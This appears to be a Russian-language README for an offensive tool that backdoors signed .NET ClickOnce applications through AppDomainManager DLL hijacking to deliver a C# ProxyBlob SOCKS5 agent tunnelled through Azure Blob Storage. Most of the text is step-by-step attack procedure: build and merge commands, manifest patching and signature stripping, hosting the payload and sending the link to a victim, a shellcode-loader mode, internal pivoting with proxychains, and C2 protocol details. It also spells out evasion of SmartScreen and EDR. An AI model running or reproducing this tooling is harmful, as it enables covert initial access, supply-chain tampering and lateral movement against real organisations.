
Используйте подписанные приложения .NET ClickOnce для первоначального доступа путем перехвата зависимой DLL через внедрение AppDomainManager и загрузки порта C# агента ProxyBlob.

Вооружаем подписанные .NET ClickOnce приложения для начального доступа путем перехвата зависимой DLL через внедрение AppDomainManager и загрузки C#-порта агента ProxyBlob. В комплекте идет порт на C# ProxyBlob — SOCKS5-прокси, который туннелирует весь трафик через Azure Blob Storage, маскируясь в средах, где *.blob.core.windows.net внесен в белый список.
ClickOnce — это технология развертывания Microsoft для .NET-приложений одним щелчком мыши. Когда пользователь переходит по URL .application, Windows загружает и запускает приложение без прав администратора. Атака:
.exe.config, который сообщает CLR, что нашу DLL нужно загрузить как AppDomainManagerХост-файл .exe остается нетронутым и валидно подписанным. SmartScreen видит известный бинарник. EDR видит доверенный процесс, загружающий модули. Ваш агент общается только с Azure Blob Storage по HTTPS.
├── clickonce_backdoor.py # Основной скрипт для бэкдоринга DLL агента ProxyBlob в ClickOnce-приложение
├── examples/
│ ├── ProxyBlobAgent.cs # DLL-полезная нагрузка агента ProxyBlob для ClickOnce (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Автономный консольный агент ProxyBlob (для тестирования)
│ ├── ShellcodeLoader.cs # Альтернатива: загрузчик шелл-кода
│ └── MessageBoxPoC.cs # PoC: сообщение (проверяет работу внедрения)
└── README.md
Атакующий (Linux/macOS):
Сборочная машина (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (обнаруживается автоматически)nuget.exe рядом со скриптом или добавить в PATH (требуется только для режима --proxyblob)Скрипт автоматически находит csc.exe и nuget.exe. Для --proxyblob BouncyCastle и ILMerge автоматически устанавливаются через NuGet при первом запуске в каталог packages/ рядом со скриптом (сохраняется между запусками).
Код агента архитектурно-нейтрален (нет P/Invoke, нет шелл-кода). Флаг --platform (передается в csc.exe /platform:) управляет тем, как CLR его загружает:
Проверьте целевое приложение с помощью corflags.exe TargetApp.exe, чтобы определить его платформу.
# Создание учетной записи хранения
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Получение ключей
az storage account keys list --account-name yourblobaccount --output table
Или используйте Azurite локально:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
В оболочке прокси:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Сохраните эту строку подключения — она понадобится агенту.
Всегда проверяйте, что агент работает независимо, прежде чем интегрировать его в ClickOnce.
На сборочной машине Windows:
# Компиляция
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge в один exe (чтобы BouncyCastle был встроен)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Запуск
Agent.exe <connection-string>
На стороне прокси:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Проверка:
proxychains curl http://ipconfig.io
Если это сработало, переходите к интеграции с ClickOnce.
Найдите целевое ClickOnce-приложение во время разведки (ищите URL с .application). Вам нужно:
Загрузите все развертывание ClickOnce:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Скрипт автоматически компилирует C#-исходник, обрабатывает зависимости NuGet (для --proxyblob), выполняет ILMerge BouncyCastle в DLL и исправляет все манифесты — все за один запуск:

# Режим ProxyBlob — автоматическая компиляция, установка NuGet-пакетов, слияние
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# Режим PoC — быстрая проверка работы внедрения
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Режим шелл-кода
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# Целевое приложение x64
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

Скрипт обрабатывает: генерацию C#-исходника с вашими настройками, компиляцию через csc.exe, ILMerge BouncyCastle (для --proxyblob), замену DLL, создание .exe.config с внедрением AppDomainManager, добавление обоих файлов в манифесты, пересчет всех SHA256-хэшей и размеров файлов, удаление подписей кода, обнуление publicKeyToken поставщика и обновление URL поставщика развертывания.
Ручной режим: Вы все еще можете использовать --payload, чтобы указать предварительно скомпилированную DLL (пропускает компиляцию):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ Проблема с именем сборки ILMerge: ILMerge устанавливает внутреннее имя сборки из имени выходного файла, а не входного. Если вы объединяете в
Foo_merged.dll, а затем переименовываете файл вFoo.dll, внутреннее имя все равно будетFoo_merged— CLR читает метаданные, а не имя файла..exe.configне совпадет, и внедрение AppDomainManager молча завершится неудачей без ошибки. Скрипт правильно обрабатывает это, выполняя ILMerge непосредственно в конечное имя.
# Встроенный сервер с правильными MIME-типами и заголовками кэша
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

Или используйте любой веб-сервер с настроенными MIME-типами:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
Отправьте жертве: http://YOUR-SERVER/APPLICATION.application
Она нажимает «Установить» → приложение запускается → открывается ваш SOCKS5-туннель.

# На машине с прокси
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 на 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



Очищайте между тестовыми развертываниями:
rundll32 dfshim CleanOnlineAppCache
Для отладки сначала используйте ProxyBlobStandalone.cs — он выводит подробные журналы в stderr, показывая типы пакетов, события подключения и ошибки. После подтверждения работоспособности переключитесь на ProxyBlobAgent.cs для интеграции с ClickOnce.
Агент — точный порт Go-агента ProxyBlob. Во время портирования были обнаружены и исправлены три критических бага:
1. Порядок байт UUID — Go uuid.UUID хранит 16 байт в порядке RFC 4122 (big-endian). Конструктор .NET Guid меняет первые 3 компонента на little-endian, вызывая несовпадение ConnectionID на проводе. Исправлено использованием сырых массивов byte[16].
2. XChaCha20-Poly1305 — Go использует chacha20poly1305.NewX() = XChaCha20 с 24-байтовыми nonce. ChaCha20Poly1305 от BouncyCastle поддерживает только 12-байтовые nonce IETF. Исправлено реализацией вывода подключа HChaCha20:
subkey = HChaCha20(key, nonce[0:16]) // ChaCha20 quarter-rounds на key+nonce
ietf_nonce = 0x00000000 || nonce[16:24] // Оставшиеся 8 байт становятся nonce IETF
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
3. Заполнение Base64 — Go использует base64.RawStdEncoding (без заполнения =). .NET требует заполнения. Исправлено автоматическим дополнением перед декодированием.
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
Key Exchange:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
Encryption: XChaCha20-Poly1305 on all CmdData payloads
Blob Transport:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent (agent polls, reads, clears)
response — agent→proxy (agent writes, proxy reads, clears)
Polling: exponential backoff 50ms → 3s (×1.5)
*.blob.core.windows.net через HTTPS — смешивается с легитимным трафиком Azure.exe остается валидно подписанным — изменяются только зависимая DLL и .configAPPLICATION)Этот инструмент предназначен только для авторизованного тестирования безопасности и исследований. Используйте только против систем, на тестирование которых у вас есть явное письменное разрешение.
--platform | Работает на x86 Windows | Работает на x64 Windows | Когда использовать |
|---|
x86 (по умолчанию) | 32-бит | 32-бит (WoW64) | Целевое приложение x86 |
x64 | ✗ | 64-бит | Целевое приложение x64 |
anycpu | 32-бит | 64-бит | Автономное тестирование или целевое приложение AnyCPU |
| Ошибка | Решение |
|---|
csc.exe not found | Установите .NET Framework 4.x или добавьте csc.exe в PATH |
nuget.exe not found | Скачайте с nuget.org, поместите рядом со скриптом или добавьте в PATH |
CS0012: type 'Object' ... netstandard | Добавьте /r:netstandard.dll в команду csc |
Metadata file ... net461 ... not found | Используйте путь BouncyCastle для netstandard2.0 |
| Симптом | Причина | Решение |
|---|
FileNotFoundException: BouncyCastle.Cryptography | DLL не встроена | Используйте ILMerge для создания единой DLL |
| AppDomainManager не загружается после запуска ClickOnce | Несоответствие внутреннего имени сборки | Имя сборки должно совпадать с .exe.config. Проверьте с помощью `ildasm /text Dll.dll |
| Агент завершается с кодом 3 | Неверная или просроченная строка подключения | Сгенерируйте новую с помощью create в прокси |
| Установка ClickOnce молча завершается неудачей | Несовпадение хэша манифеста | Перезапустите скрипт автоматизации или пересчитайте SHA256-хэши вручную |
Ошибка RefDefValidation при установке | Обнулен токен строгого имени сторонней DLL | Скрипт обнуляет только токен поставщика. При необходимости используйте --dll-name для задания имени полезной нагрузки DLL |